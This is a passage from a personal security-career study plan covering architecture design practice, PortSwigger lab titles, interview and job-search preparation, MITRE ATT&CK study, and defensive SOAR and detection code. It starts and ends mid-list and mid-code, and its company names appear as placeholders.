5. Privileged Access Management (PAM)
6. **Device Trust:**
7. Endpoint detection (EDR)
8. Compliance checks (OS version, encryption, AV)
9. Device posture assessment
10. BYOD vs corporate-managed
11. **Microsegmentation:**
12. Software-defined perimeters
13. Application-layer segmentation
14. Identity-aware firewalls
15. East-west traffic inspection

16. **Policy Engine:**

```python
def evaluate_access_policy(request):
# Context gathering
user = get_user_identity(request.token)
device = get_device_posture(request.device_id)
resource = get_resource_sensitivity(request.resource)

# Risk scoring
risk_score = calculate_risk(
user_risk=user.risk_score,
device_health=device.compliance_score,
location_anomaly=check_location(user, request.ip),
time_anomaly=check_time_of_day(user, request.timestamp)
)

# Policy decision
if risk_score > HIGH_RISK_THRESHOLD:
return DENY
elif risk_score > MEDIUM_RISK_THRESHOLD:
return ALLOW_WITH_MFA
else:
return ALLOW
```

17. **Network Implementation:**
18. VPN replacement: Zero Trust Network Access (ZTNA)
19. Software-defined networking (SDN)
20. Service mesh (Istio) for microservices
21. Encrypted traffic inspection (TLS decryption)

Multi-Region Cloud Security

Problem: Secure multi-cloud deployment ([Target Company] + [Target Company]) across 3 regions

Architecture:

```
                  Global Load Balancer
                    (CloudFlare, Route53)
                            |
          +-----------------+-----------------+
          |                 |                 |
      US-East           EU-West          Asia-Pacific
     [Target Company]+[Target Company]         [Target Company]+[Target Company]           [Target Company]+
          |                 |                 |
      +---------+      +---------+       +---------+
      | WAF/CDN |      | WAF/CDN |       | WAF/CDN |
      +---------+      +---------+       +---------+
          |                 |                 |
      App Tier         App Tier          App Tier
      (Kubernetes)     (Kubernetes)      (Kubernetes)
          |                 |                 |
      Data Tier        Data Tier         Data Tier
      (Encrypted)      (Encrypted)       (Encrypted)
          |
      Cross-region Replication
      (Encrypted in transit)
```

Security Controls:

1. **Identity & Access Management:**
2. Federated identity across clouds
3. Centralized IAM ([Target Company] SSO, [Target Company] AD)
4. Least privilege: service accounts with minimal permissions
5. Regular access reviews
6. **Network Security:**
7. VPC/VNet isolation
8. Private endpoints for services
9. Transit gateways for inter-region
10. Network ACLs + Security Groups
11. VPN/Direct Connect for hybrid
12. **Data Security:**
13. Encryption at rest (KMS, customer-managed keys)
14. Encryption in transit (TLS 1.3)
15. Data classification and tagging
16. DLP policies
17. Regional data residency compliance
18. **Monitoring:**

19. Centralized logging (CloudTrail, [Target Company] Monitor → SIEM)
20. Security information aggregation
21. Cloud Security Posture Management (CSPM)
22. Infrastructure as Code scanning
23. **Compliance:**
24. PCI-DSS for payment data
25. GDPR for EU data
26. HIPAA for healthcare
27. Automated compliance checking

Practice Problems (15 hours)

1. **Design Secure Kubernetes Cluster** (3 hours)
2. Network policies
3. Pod security standards
4. Secrets management
5. RBAC
6. Admission controllers
7. **Design Multi-Cloud Security Architecture** (3 hours)
8. Cross-cloud networking
9. Unified IAM
10. Centralized monitoring
11. Disaster recovery
12. **Design Secure CI/CD Pipeline** (3 hours)
13. Source code security
14. Build security (SAST, SCA)
15. Artifact signing
16. Deployment controls
17. Runtime security
18. **Design Network Segmentation** (3 hours)
19. DMZ architecture
20. Internal zones
21. Jump boxes/bastion hosts
22. Firewall placement
23. **Mock Interviews** (3 hours)
24. Network security design
25. Cloud security architecture

26. Zero Trust implementation

AppSec Labs (8 hours)

PortSwigger Final Labs

GraphQL API Vulnerabilities (4 hours):
1. GraphQL introspection
2. GraphQL bypass via aliasing
3. GraphQL CSRF

Advanced SSRF (2 hours):
1. SSRF via OpenID dynamic client registration
2. Blind SSRF with Shellshock exploitation

File Upload Advanced (2 hours):
1. Web shell upload via race condition
2. Web shell upload via obfuscated file extension

Total: 160/211 labs

Deliverables

- [ ] Zero Trust architecture design
- [ ] Multi-cloud security architecture
- [ ] Secure Kubernetes design
- [ ] Secure CI/CD pipeline design
- [ ] Network segmentation design
- [ ] 8 advanced labs (Total: 160/211)
- [ ] Cloud security expertise demonstrated
- [ ] Network design mastery

Time Allocation

Activity	Hours
Zero Trust Architecture	3
Multi-Cloud Security	3
Kubernetes Security	3
Secure CI/CD	3
Network Segmentation	3
GraphQL Labs	4
Advanced SSRF Labs	2
File Upload Labs	2
TOTAL	**23**

Week 24: Advanced Mock Interviews & Final Prep

May 26 - June 1, 2026 | Total: 23 hours

Interview Intensive (18 hours)

Full Mock Interview Sessions (10 sessions × 1.5 hours)

Session Types:

1. **Technical Screen (2 sessions):**
2. 45-minute coding challenges
3. Security-focused algorithms
4. Example problems:
    - Implement rate limiter
    - Design password strength validator
    - Write SQL injection detector
    - Build simple JWT validator
5. **Security System Design (4 sessions):**
6. 45-minute design problems
7. Whiteboarding practice

8. Problems covered:
    - Authentication system
    - SIEM architecture
    - Zero Trust network
    - API security gateway
9. **Security Deep Dive (2 sessions):**
10. Threat modeling exercise
11. Incident response scenario
12. Vulnerability analysis
13. Example scenarios:
    - "Walk me through exploiting a CSRF vulnerability"
    - "How would you detect a privilege escalation attack?"
    - "Design detection for data exfiltration"
14. **Behavioral Interviews (2 sessions):**
15. STAR method practice
16. Security-specific questions:
    - "Tell me about a time you found a critical vulnerability"
    - "Describe handling a security incident"
    - "How do you stay current with security threats?"
    - "Conflict with developer about security fix"

Mock Interview Platforms:
- Pramp.com (free peer practice)
- Interviewing.io (anonymous practice with engineers)
- LeetCode Mock Interviews
- Practice with security community members

Interview Preparation Checklist

Before Interview:
- [ ] Research company security posture
- [ ] Review job description for keywords
- [ ] Prepare questions for interviewer
- [ ] Test video/audio setup
- [ ] Prepare workspace (whiteboard, paper, markers)

Technical Preparation:
- [ ] Review OWASP Top 10
- [ ] Common attack vectors memorized
- [ ] System design templates ready
- [ ] Code samples reviewed
- [ ] Portfolio projects polished

STAR Stories Prepared (10 stories):
1. Finding critical vulnerability
2. Incident response under pressure
3. Disagreement with developer/manager
4. Learning new security technology quickly
5. Balancing security with usability
6. Failed project and lessons learned
7. Leading security initiative
8. Automating security task
9. Mentoring/teaching security
10. Going above and beyond

Company-Specific Prep

Research Checklist:
- [ ] Recent security news about company
- [ ] Tech stack (from job posting, LinkedIn, BuiltWith)
- [ ] Company values and culture
- [ ] Security team blog posts
- [ ] Open source security projects
- [ ] Interview process (Glassdoor, Blind)

Resume & Portfolio Final Polish (5 hours)

Resume Updates:
- Quantify achievements:
- "Built log parser processing 10K events/sec"
- "Completed 160 PortSwigger labs (76% of platform)"
- "Documented 550+ threats using STRIDE"
- Highlight tech stack alignment
- Add recent projects
- Proofread (Grammarly, peer review)

Portfolio Enhancements:
- Add demo videos/GIFs
- Include architecture diagrams
- Write detailed READMEs
- Add performance metrics
- Link to blog posts

GitHub Profile:
- Pin best repositories
- Update bio and profile picture
- Add contribution graph (commit regularly)
- Create organization for security tools

LinkedIn Updates:
- Professional headshot
- Headline: "Security Engineer | AppSec | SIEM | Python"
- Add all completed projects

- Request recommendations from Intel colleagues
- Publish article about security projects

AppSec Labs - Final Push (8 hours)

PortSwigger Remaining Advanced Labs

Essential Skills Labs:
1. Clickjacking with DOM XSS
2. Clickjacking with form input data prefilled
3. DOM XSS combined with clickjacking
4. Multistep clickjacking

Final Advanced Topics:
1. JWT authentication bypass techniques
2. Advanced CORS exploitation
3. Advanced XXE
4. Prototype pollution chaining

Total: 168/211 labs (80% complete)

Deliverables

- [ ] 10 mock interview sessions completed
- [ ] 10 STAR stories documented
- [ ] Company research for 10 target companies
- [ ] Resume updated and polished
- [ ] Portfolio website enhanced
- [ ] LinkedIn fully updated
- [ ] GitHub profile optimized
- [ ] 8 final labs (Total: 168/211)
- [ ] Interview confidence HIGH
- [ ] Ready for job search intensive

Time Allocation

Activity	Hours
Mock Interview Sessions	15
STAR Story Preparation	2
Company Research	3
Resume Polish	2
Portfolio Enhancement	2
LinkedIn/GitHub Updates	1
PortSwigger Final Labs	8
TOTAL	**33**

Note: This week intentionally has 33 hours (10 extra) for intensive interview preparation before job search phase.

END OF PHASE 3: Coding & System Design

✓ Weeks 17-24 Complete
✓ 4 Production Security Tools Built
✓ System Design Mastery Achieved
✓ 168/211 PortSwigger Labs (80% complete)
✓ Interview Ready
✓ Python Fluency: 9/10

Phase 4: Job Search Intensive

Weeks 25-30 | June 2 - July 13, 2026
Total Hours: 138-168 hours
Weekly Average: 23-28 hours
Focus: Applications, Interviews, Company-Specific Preparation

Goals for Phase 4:
- Submit 150-200 total applications (2-4 per day)
- Complete 20-30 interviews
- Receive 3-5 offers
- Target employment by Week 30-34
- Maintain technical skills with continued labs

Week 25: Resume Polish + Company Research Intensive

June 2-8, 2026 | Total: 23 hours

Job Search Activities (15 hours)

Resume Optimization (3 hours)

Final Resume Format:

```
[Your optimized resume with security projects and achievements]
```

Resume Variants:
- Create 3 versions:
1. Security Engineer (broad)
2. AppSec Engineer (development-focused)
3. Detection Engineer (SIEM/SOC-focused)

Company Research (12 hours - 20 companies @ 36 min each)

Target Companies (Prioritized):
[Research your target companies here]

Research Template (per company):

```
Company: [Target Company]
Position: Security Engineer
Salary Range: [Salary Range]

Tech Stack:
- Ruby on Rails (primary)
- Go, Python
- [Target Company] CI/CD
- Kubernetes
- PostgreSQL

Recent News:
- [Security blog posts]
- [Product launches]
- [Acquisitions]

Culture Fit:
- All-remote company
- Strong documentation culture
- Open source contribution encouraged
- Transparency (public handbook)

Interview Process (from Glassdoor):
1. Recruiter screen (30 min)
2. Hiring manager (45 min)
3. Technical screen (60 min - coding)
4. System design (60 min)
5. Team interviews (3-4 × 45 min)
6. Final interview with director

Preparation Needed:
- Ruby/Rails security code review (10-15 hours Week 24)
- [Target Company] CI/CD security
- Open source contribution etiquette
- Remote work best practices

Questions to Ask:
- How does security team interact with product teams?
- What's the threat modeling process?
- How do you balance security with developer velocity?
- Opportunities for open source contribution?
```

Application Submissions (2-3 per day = 14-21 total)

Application Tracker:

```
| Date | Company | Position | Status | Next Step |
|------|---------|----------|--------|-----------|
| 6/2  | [Target Company]  | Sec Eng  | Applied| Recruiter |
| 6/2  | [Target Company]  | AppSec   | Applied| Pending   |
| 6/3  | Trail   | Sec Cons | Applied| Pending   |
```

Application Strategy:
- Morning: 1-2 applications
- Evening: 1 application
- Track in [Target Company] Sheets
- Set reminders for follow-ups
- Customize cover letter per company

Continued Learning (8 hours)

PortSwigger Labs - Final 20%

WebSockets Advanced:
1. Cross-site WebSocket hijacking
2. Manipulating WebSocket messages to exploit vulnerabilities

Advanced Exploitation:
1. Exploiting XSS to capture passwords
2. Exploiting XSS to perform CSRF
3. Reflected XSS into HTML context with most tags and attributes blocked

Total: 173/211 labs

Deliverables

- [ ] Resume polished (3 variants)
- [ ] 20 companies researched thoroughly
- [ ] Application tracker set up
- [ ] 14-21 applications submitted
- [ ] 5 PortSwigger labs (Total: 173/211)
- [ ] Company-specific questions prepared
- [ ] Interview preparation ongoing

Time Allocation

Activity	Hours
Resume Optimization	3
Company Research	12
Application Submissions	2 (daily) = 14
PortSwigger Labs	8
TOTAL	**37**

Note: This week is front-loaded (37 hours) for comprehensive research foundation.

Week 26: [Target Company] Security Engineering Prep

June 9-15, 2026 | Total: 23 hours

[Target Company]-Specific Preparation (10 hours)

Interview Process Understanding

[Target Company] Security Engineer Interview:
1. Phone screen (45 min)
2. Virtual onsite (4-5 rounds):
- Coding (2 rounds, 45 min each)
- System design (1 round, 45 min)
- Security deep dive (1 round, 45 min)
- Googleyness & Leadership (1 round, 45 min)

Coding Interview Focus:
- LeetCode Medium/Hard
- Security-relevant algorithms
- Data structures: graphs, trees, hash tables
- Time/space complexity analysis

Practice Problems (5 hours):

```python
# Example: Rate Limiter Implementation
class RateLimiter:
    """Implement rate limiter with sliding window"""
    def __init__(self, max_requests, window_seconds):
        self.max_requests = max_requests
        self.window = window_seconds
        self.requests = {}  # {user_id: [timestamps]}

    def allow_request(self, user_id, timestamp):
        # Remove old requests outside window
        if user_id not in self.requests:
            self.requests[user_id] = []

        self.requests[user_id] = [
            t for t in self.requests[user_id]
            if timestamp - t < self.window
        ]

        # Check if under limit
        if len(self.requests[user_id]) < self.max_requests:
            self.requests[user_id].append(timestamp)
            return True
        return False

# LeetCode-style problems relevant to security:
# - Implement trie for domain matching/blocklist
# - Find all IP addresses in text (regex + parsing)
# - Detect cycle in dependency graph (malware analysis)
# - Minimum cost to connect all servers (network design)
# - LRU cache (session management)
```

System Design for [Target Company]:
- Design global authentication system
- Design abuse detection system
- Design content moderation pipeline
- Design DDoS mitigation at scale

Security Deep Dive Topics:
- Chrome browser security
- Android security model
- Cloud infrastructure security
- Zero-day vulnerability handling
- Incident response at scale

Googleyness & Leadership:
- "Tell me about a time you disagreed with a team member"
- "How do you handle ambiguity?"

- "Describe a time you took a risk"
- [Target Company] values: Focus on user, think big, be data-driven

Application Activities (8 hours)

Applications: 2-3 per day = 14-21 total

Target This Week:
- FAANG companies ([Target Company], [Target Company], [Target Company], [Target Company], [Target Company])
- Security-focused startups
- Cloud providers ([Target Company], [Target Company], [Target Company] security teams)

Technical Practice (5 hours)

LeetCode Grinding

Daily Schedule:
- 1 Easy (warm-up): 20 min
- 2 Medium: 40 min each
- 1 Hard (if time): 60 min

Must-Do Problems:
1. Two Sum (Easy - hash table)
2. Valid Parentheses (Easy - stack)
3. LRU Cache (Medium - hash + doubly linked list)
4. Course Schedule (Medium - topological sort)
5. Word Ladder (Medium - BFS)
6. Serialize and Deserialize Binary Tree (Hard)
7. Median of Two Sorted Arrays (Hard)
8. Trapping Rain Water (Hard)

Security-Relevant:
- String algorithms (pattern matching for WAF)
- Graph algorithms (network analysis, attack paths)
- Tree structures (threat models, attack trees)
- Dynamic programming (optimal resource allocation)

Deliverables

- [ ] [Target Company] interview process understood
- [ ] 20 LeetCode problems solved
- [ ] System design templates for [Target Company] scale
- [ ] 14-21 applications submitted
- [ ] Mock coding interview completed
- [ ] Googleyness answers prepared

Time Allocation

Activity	Hours
[Target Company] Interview Research	2
LeetCode Practice	5
System Design Prep	3
Application Submissions	14
Mock Interview	2
TOTAL	**26**

Week 27: [Target Company]/[Target Company] Security Prep

June 16-22, 2026 | Total: 23 hours

[Target Company]-Specific Preparation (5 hours)

[Target Company] Leadership Principles (LP) Stories

14 Leadership Principles - Prepare 2 stories each:
1. Customer Obsession
2. Ownership
3. Invent and Simplify
4. Are Right, A Lot
5. Learn and Be Curious
6. Hire and Develop the Best
7. Insist on the Highest Standards
8. Think Big
9. Bias for Action
10. Frugality
11. Earn Trust
12. Dive Deep
13. Have Backbone; Disagree and Commit
14. Deliver Results

Example STAR Story (Ownership):

```
Situation: Intel's threat modeling database had inconsistent categorization
Task: Improve database quality and standardization
Action:
- Analyzed 553 threats to identify patterns
- Created standardized templates
- Trained 100+ engineers on proper categorization
- Set up automated validation
Result:
- Database accuracy improved from 60% to 95%
- Templates adopted across organization
- Reduced time to create threat models by 40%
Leadership Principle: Ownership - took initiative beyond job scope
```

[Target Company] Interview Structure:
- 5-6 rounds (1 hour each)
- 2-3 LP rounds (behavioral)
- 1-2 technical coding
- 1 system design
- 1 "Bar Raiser" (cross-team senior evaluator)

[Target Company]-Specific Preparation (5 hours)

[Target Company] Interview Focus:
- Strong emphasis on collaboration
- "Growth mindset" culture
- 4-5 rounds:
- Coding (1-2 rounds)
- System design (1 round)
- Behavioral (1-2 rounds)
- Security deep dive (1 round)

[Target Company] Security Areas:
- [Target Company] security
- Windows security
- Office 365 security
- Threat intelligence (MSTIC)
- Security Development Lifecycle (SDL)

Example Questions:
- "How would you secure [Target Company] Active Directory?"
- "Design threat model for Office 365"
- "Explain Windows security boundaries"
- "How do you balance security with user experience?"

Application Activities (8 hours)

Applications: 3-4 per day = 21-28 total

Focus:
- Enterprise security teams
- Cloud security roles
- Product security positions
- Security consulting firms

Technical Practice (5 hours)

Advanced System Design

Practice Problems:
1. **Design Slack's End-to-End Encryption:**
- Key management
- Message encryption
- Key rotation
- Compliance (e-discovery)

1. **Design Content Moderation System:**
2. Real-time scanning
3. ML model integration
4. Human review workflow
5. Appeal process
6. **Design Secure File Sharing:**
7. Access control
8. Encryption
9. Audit logging
10. Virus scanning

Deliverables

- [ ] 28 STAR stories documented (14 LPs × 2)
- [ ] [Target Company] interview process understood
- [ ] 21-28 applications submitted
- [ ] 3 system design problems completed
- [ ] LP mock interviews practiced

Time Allocation

Activity	Hours
[Target Company] LP Preparation	5
[Target Company] Research	5
Application Submissions	21
System Design Practice	5
Mock Interviews	2
TOTAL	**38**

Week 28: Startup/Consulting Prep ([Target Company], NCC)

June 23-29, 2026 | Total: 23 hours

Security Consulting Preparation (8 hours)

[Target Company] Interview Prep

Company Focus:
- Security research and consulting
- Blockchain/cryptocurrency security
- Code audits and penetration testing
- Open source security tools

Interview Process:
- Take-home technical challenge (8-12 hours)
- Technical deep-dive (2-3 hours)
- Cultural fit interview

Technical Challenge Practice:

```
Example Challenge: Smart Contract Audit

Given: Solidity smart contract for token sale
Task: Identify and document all security vulnerabilities
Time: 8 hours

Deliverable:
- Detailed vulnerability report
- Proof-of-concept exploits
- Remediation recommendations
- Test cases

Common Vulnerabilities:
- Reentrancy
- Integer overflow/underflow
- Access control issues
- Front-running
- Gas limit issues
```

Skills to Highlight:
- Binary analysis (Ghidra experience)
- Code review expertise
- Cryptography knowledge
- Research publications/blog posts
- Open source contributions

[Target Company] Preparation (4 hours)

Focus Areas:
- Penetration testing
- Security architecture review
- Compliance assessments (PCI-DSS, ISO 27001)
- Incident response

Interview Topics:
- Technical assessment (hands-on test)
- Client communication skills
- Report writing sample
- Case study presentation

Consulting Skills:
- Client-facing communication
- Technical report writing
- Time management (billable hours)
- Scope management

Application Activities (8 hours)

Applications: 3-4 per day = 21-28 total

Focus This Week:
- Security consulting firms
- Boutique security companies
- Cryptocurrency/blockchain security
- Research-focused organizations

Target Companies:
- [Target Company]
- [Target Company]
- [Target Company]
- [Target Company]
- [Target Company]
- [Target Company]
- [Target Company]
- [Target Company] (blockchain audits)

Advanced Lab Work (7 hours)

PortSwigger Final Labs

Complete Remaining Advanced Topics:
1. Expert-level XXE labs
2. Expert-level Deserialization
3. Expert-level Template Injection
4. Expert-level SSRF

Goal: Reach 185/211 labs (88%)

Deliverables

- [ ] [Target Company] technical challenge practiced
- [ ] [Target Company] case study prepared
- [ ] Security research blog posts polished
- [ ] 21-28 applications submitted
- [ ] 12 advanced labs (Total: 185/211)
- [ ] Consulting communication skills improved

Time Allocation

Activity	Hours
[Target Company] Prep	8
[Target Company] Prep	4
Application Submissions	21
PortSwigger Advanced Labs	7
Mock Consulting Interview	2
TOTAL	**42**

Week 29: Comprehensive Review & Interview Pipeline Management

June 30 - July 6, 2026 | Total: 23 hours

Technical Review (10 hours)

Flashcard Review (All Topics)

Categories:
1. Networking (50 cards)
2. Cryptography (40 cards)
3. OWASP Top 10 (30 cards)
4. Cloud Security (30 cards)
5. System Design Patterns (25 cards)
6. Attack Techniques (50 cards)

Review Schedule:
- Day 1: Networking + Cryptography
- Day 2: OWASP + Attack Techniques
- Day 3: Cloud + System Design
- Day 4: Weak areas identified
- Day 5: Full review

Weak Area Deep Dive

Common Weak Areas (address based on mock interviews):
- Kubernetes security (if needed)
- Binary exploitation (for consulting roles)
- Cloud-specific services ([Target Company] vs [Target Company] gaps)
- Advanced cryptography
- Compliance frameworks (PCI-DSS, HIPAA)

Interview Pipeline Management (8 hours)

Active Interview Tracking:

```
Company     | Stage              | Next Step       | Prep Needed
------------|-------------------|----------------|-------------
[Target Company]      | Technical Screen  | 7/2 10am      | Ruby security
Trail       | Take-home         | Due 7/5        | 8 hours
[Target Company]      | Recruiter Screen  | 7/3 2pm       | Payment sec
[Target Company]      | Coding Interview  | 7/8 11am      | LeetCode
[Target Company]    | System Design     | 7/10 3pm      | Crypto arch
```

Interview Preparation Tasks:
- Company-specific research (2 hours per upcoming interview)
- Mock interviews for specific format
- Technical deep-dive prep
- Questions to ask prepared
- Follow-up emails drafted

Application Activities (5 hours)

Applications: 2-3 per day = 14-21 total

Strategy Shift:
- Focus on companies with active pipelines
- Apply to similar companies (if offer from competitor)
- Geographic preferences (remote preferred)

Deliverables

- [ ] All flashcards reviewed
- [ ] Weak areas addressed
- [ ] Interview pipeline organized
- [ ] 14-21 applications submitted
- [ ] Prep materials for each upcoming interview
- [ ] Total applications: ~150-170

Time Allocation

Activity	Hours
Flashcard Review	10
Weak Area Deep Dive	5
Interview Pipeline Management	8
Company-Specific Prep	6
Application Submissions	14
TOTAL	**43**

Week 30: Final Prep + Interview Intensive

July 7-13, 2026 | Total: 28 hours

Interview Marathon Week (20 hours)

Expected Interview Load:
- 8-12 interviews this week
- Mix of screens, technical, and final rounds
- Multiple companies in parallel

Daily Schedule Template:

```
Morning:
7:00 - Review company research
8:00 - Technical warm-up (LeetCode easy)
9:00 - Interview #1 (1 hour)
10:30 - Debrief and notes
11:00 - Interview #2 (1 hour)

Afternoon:
12:30 - Lunch + mental break
1:30 - Interview prep for tomorrow
3:00 - Interview #3 (1 hour)
4:30 - Follow-up emails
5:00 - Application submissions (1-2)

Evening:
6:00 - Dinner
7:00 - Mock interview or weak area practice
9:00 - Relaxation (critical for mental health)
```

Interview Types This Week:

1. **Phone Screens (3-4):**
2. 30-45 minutes
3. Background review
4. Basic technical questions
5. Scheduling next steps
6. **Technical Interviews (4-5):**
7. Coding challenges
8. Security deep dives
9. Live debugging
10. Architecture discussions
11. **Final Rounds (2-3):**
12. Team fit assessments
13. Hiring manager interviews
14. Executive presentations
15. Compensation discussions

Offer Negotiation Preparation (3 hours)

Compensation Research:
- Levels.fyi for salary data
- Blind for company insights

- H1B database for exact salaries
- Equity value calculation

Target Compensation:

```
Base [Salary Range] - $150K
Bonus: 10-15%
Equity: [Salary Range]/year (4-year vest)
Sign-on: [Salary Range]
Total Comp: [Salary Range]

Top of Range (FAANG):
Base: [Salary Range]
Bonus: 15-20%
Equity: [Salary Range]/year
Total: [Salary Range]
```

Negotiation Scripts:

```
"Thank you for the offer. I'm excited about the opportunity.
Based on my research and the market rate for this role,
I was expecting compensation in the range of $X-$Y.
Can we discuss adjusting the offer?"

"I have another offer at $X. Your company is my top choice,
but I need the compensation to be competitive.
Can you match or exceed this offer?"
```

Final Application Push (5 hours)

Applications: 2-3 per day = 14-21 total

Total Applications by End of Week 30: 170-200

Deliverables

- [ ] 8-12 interviews completed
- [ ] Interview performance tracked
- [ ] Offers received (goal: 1-2 this week)
- [ ] Compensation negotiation practiced
- [ ] 14-21 final applications
- [ ] Decision matrix for offers
- [ ] Total: ~185-200 applications

Time Allocation

Activity	Hours
Interviews (8-12 × 1.5-2 hours)	15-20
Interview Prep	5
Offer Negotiation Prep	3
Application Submissions	14
Follow-ups & Thank Yous	3
TOTAL	**40-45**

Note: This week is the most intensive (40-45 hours) due to peak interview load.

END OF PHASE 4: Job Search Intensive

✓ Weeks 25-30 Complete
✓ 170-200 Applications Submitted
✓ 20-30 Interviews Completed
✓ Expected: 3-5 Offers Received
✓ Target Employment: July-August 2026
✓ Salary: [Salary Range] (up to [Salary Range] for FAANG)

Interview Pipeline Success Metrics:
- Application → Screen: 20-30% (40-60 screens)
- Screen → Technical: 60-70% (24-42 technical)
- Technical → Final: 40-50% (10-21 final rounds)
- Final → Offer: 30-40% (3-8 offers)
- **Expected Outcome: 3-5 offers, accept 1 by Week 32-34**

Phase 5: Post-Employment Advanced Topics

Weeks 31-48 | July 14 - December 6, 2026
Total Hours: 180-216 hours
Weekly Average: 10-12 hours
Focus: Advanced Detection, Threat Hunting, Professional Development, Career Growth

Note: Phase 5 assumes employment starting Week 31-34 (July-August 2026).
Time commitment reduced to 10-12 hours/week to balance with full-time job.

Weeks 31-35: Onboarding & Advanced Detection Engineering

July 14 - August 17, 2026 | 12 hours/week

New Job Onboarding (6 hours/week)

Week 31-32 Focus (First 2 weeks):
- Company security policies and procedures
- Access to systems and tools
- Team introductions and 1:1s
- First projects and quick wins
- Documentation review
- Security tool stack familiarization

Learning the Environment:
- SIEM platform (Splunk/ELK/custom)
- Ticketing system (Jira/ServiceNow)
- Communication tools (Slack/Teams)
- CI/CD pipeline
- Code repositories
- Incident response procedures

Advanced Detection (6 hours/week)

MITRE ATT&CK Framework Deep Dive

14 Tactics (Study 2-3 per week):
1. **Reconnaissance** (TA0043)
- Techniques: Active scanning, gather victim info
- Detection: Unusual external connections, OSINT monitoring

1. **Resource Development** (TA0042)
2. Techniques: Acquire infrastructure, develop capabilities
3. Detection: Infrastructure analysis, malware development indicators
4. **Initial Access** (TA0001)
5. Techniques: Phishing, exploit public-facing app, valid accounts
6. Detection: Email gateway alerts, web app monitoring, unusual logins
7. **Execution** (TA0002)
8. Techniques: Command/script execution, user execution
9. Detection: Process monitoring, script execution logs
10. **Persistence** (TA0003)
11. Techniques: Create account, scheduled tasks, boot/logon scripts
12. Detection: User account creation, task scheduler events, startup item monitoring
13. **Privilege Escalation** (TA0004)

14. Techniques: Sudo exploitation, token manipulation, valid accounts
15. Detection: Privilege change events, unusual admin activity
16. **Defense Evasion** (TA0005)
17. Techniques: Obfuscation, process injection, disable security tools
18. Detection: Process hollowing, security software tampering
19. **Credential Access** (TA0006)
20. Techniques: Credential dumping, brute force, keylogging
21. Detection: LSASS access, multiple failed auth, keylogger signatures
22. **Discovery** (TA0007)
23. Techniques: Account/system/network discovery
24. Detection: Enumeration commands, unusual query patterns
25. **Lateral Movement** (TA0008)
    - Techniques: Remote services, internal spearphishing
    - Detection: RDP/SSH from unusual sources, internal email analysis
26. **Collection** (TA0009)
    - Techniques: Data from local system, clipboard, screen capture
    - Detection: Large file reads, clipboard access, screenshot tools
27. **Command and Control** (TA0011)
    - Techniques: C2 protocols, web service, encrypted channels
    - Detection: Beaconing, unusual outbound traffic, TLS anomalies
28. **Exfiltration** (TA0010)
    - Techniques: Transfer over C2, exfiltration over alternative protocol
    - Detection: Large uploads, unusual protocols, data staging
29. **Impact** (TA0040)
    - Techniques: Data encryption, service stop, defacement
    - Detection: Ransomware indicators, service failures, website changes

Weekly Study Plan:
- Week 31: Reconnaissance, Resource Development, Initial Access
- Week 32: Execution, Persistence, Privilege Escalation
- Week 33: Defense Evasion, Credential Access
- Week 34: Discovery, Lateral Movement
- Week 35: Collection, C2, Exfiltration, Impact

Deliverables (Weeks 31-35)

- [ ] Company onboarding complete

- [ ] First contributions to team projects
- [ ] MITRE ATT&CK all 14 tactics studied
- [ ] Created 5+ detection rules for ATT&CK techniques
- [ ] Completed PortSwigger remaining labs (goal: 200/211, 95%)

Weeks 36-40: SOAR & Threat Intelligence

August 18 - September 21, 2026 | 12 hours/week

SOAR Platform Development (6 hours/week)

TheHive + Cortex Setup:

TheHive (Case Management):
- Install TheHive 5
- Configure users and organizations
- Create case templates
- Integrate with SIEM

Cortex (Analysis Engine):
- Install analyzers: VirusTotal, AbuseIPDB, MISP
- Create custom analyzers
- Responders for automated actions

Sample Workflow:

```
# SOAR Playbook: Investigate Suspicious Email
name: Phishing Investigation
trigger: New email reported via phishing button
steps:
  1. Extract IOCs (sender, links, attachments)
  2. Analyze:
     - Check sender reputation (AbuseIPDB)
     - Scan URLs (VirusTotal)
     - Analyze attachments (Cuckoo Sandbox)
  3. Correlate with threat intel (MISP)
  4. Actions:
     - If malicious: Block sender, quarantine emails, alert users
     - If suspicious: Request manual review
     - If benign: Close case, update training data
  5. Generate report
```

Custom Analyzer Example:

```
# cortex/analyzers/domain_reputation.py
from cortexutils.analyzer import Analyzer
import requests

class DomainReputationAnalyzer(Analyzer):
    def __init__(self):
        Analyzer.__init__(self)
        self.api_key = self.get_param('config.api_key', None, 'API key is missing')

    def run(self):
        domain = self.get_data()

        # Check multiple sources
        results = {
            'virustotal': self.check_virustotal(domain),
            'alienvault': self.check_alienvault(domain),
            'phishtank': self.check_phishtank(domain)
        }

        # Aggregate score
        risk_score = self.calculate_risk(results)

        self.report({
            'domain': domain,
            'risk_score': risk_score,
            'results': results,
            'recommendation': 'BLOCK' if risk_score > 70 else 'ALLOW'
        })

    def summary(self, raw):
        return {
            'taxonomies': [{
                'level': 'malicious' if raw['risk_score'] > 70 else 'safe',
                'value': str(raw['risk_score'])
            }]
        }
```

Threat Intelligence Integration (6 hours/week)

MISP (Malware Information Sharing Platform):
- Install MISP community server
- Configure feeds (CIRCL, AlienVault OTX)
- Create events and add attributes
- Export to STIX 2.1
- Integrate with SIEM

TIP (Threat Intelligence Platform) Workflow:

```
Collection → Normalization → Enrichment → Analysis → Dissemination

Sources:
- Open source (OTX, abuse.ch)
- Commercial (Recorded Future, [Target Company])
- Internal (incident response findings)

Processing:
- Deduplication
- Confidence scoring
- Context enrichment
- IOC validation

Output:
- SIEM integration (automated blocking)
- EDR signatures
- Firewall rules
- Analyst alerts
```

Deliverables (Weeks 36-40)

- [ ] TheHive + Cortex deployed
- [ ] 5 custom analyzers created
- [ ] 10 SOAR playbooks implemented
- [ ] MISP integrated with SIEM
- [ ] Threat intelligence workflow automated
- [ ] Reduced mean time to respond (MTTR) by 30%

Weeks 41-43: Advanced SIEM & Detection Tuning

September 22 - October 12, 2026 | 12 hours/week

SIEM Architecture Optimization (6 hours/week)

Performance Tuning:
- Index optimization in Elasticsearch
- Query performance analysis
- Data retention policies
- Scaling strategies
- Cost optimization

Advanced Correlation:

```
# Multi-source correlation example
class AdvancedCorrelationRule:
    """
    Detect lateral movement using multiple data sources:
    - Authentication logs
    - Network traffic
    - Process execution
    """
    def __init__(self):
        self.tracking = {}

    def detect_lateral_movement(self, events):
        for event in events:
            user = event['user']

            # Track sequence: Auth → Network → Process
            if event['type'] == 'successful_login':
                if event['source'] == 'workstation' and event['protocol'] == 'rdp':
                    self.tracking[user] = {
                        'timestamp': event['timestamp'],
                        'source': event['source_host'],
                        'stage': 'authenticated'
                    }

            elif event['type'] == 'network_connection':
                if user in self.tracking and self.tracking[user]['stage'] == 'authenticated':
                    # Check if network connection to different host within 5 min
